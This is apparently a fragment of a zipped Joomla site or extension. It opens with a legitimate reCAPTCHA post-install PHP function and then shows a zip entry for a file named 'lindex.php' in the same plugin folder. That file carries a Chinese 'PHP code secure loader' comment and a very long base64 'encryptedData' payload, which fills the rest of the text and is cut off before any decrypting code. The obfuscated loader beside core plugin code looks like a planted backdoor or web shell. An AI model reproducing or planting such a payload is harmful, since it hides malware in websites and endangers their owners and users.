 *
 * @since   3.8.6
 */
function recaptcha_postinstall_action()
{
	$db = JFactory::getDbo();

	$query = $db->getQuery(true)
		->select('extension_id')
		->from($db->qn('#__extensions'))
		->where($db->qn('name') . ' = ' . $db->q('plg_captcha_recaptcha'));
	$db->setQuery($query);
	$e_id = $db->loadResult();

	$url = 'index.php?option=com_plugins&task=plugin.edit&extension_id=' . $e_id;
	JFactory::getApplication()->redirect($url);
}
PK�(]��y�(captcha/recaptcha/postinstall/lindex.phpnu�[���<?php
// PHP代码安全加载器
$encryptedData = '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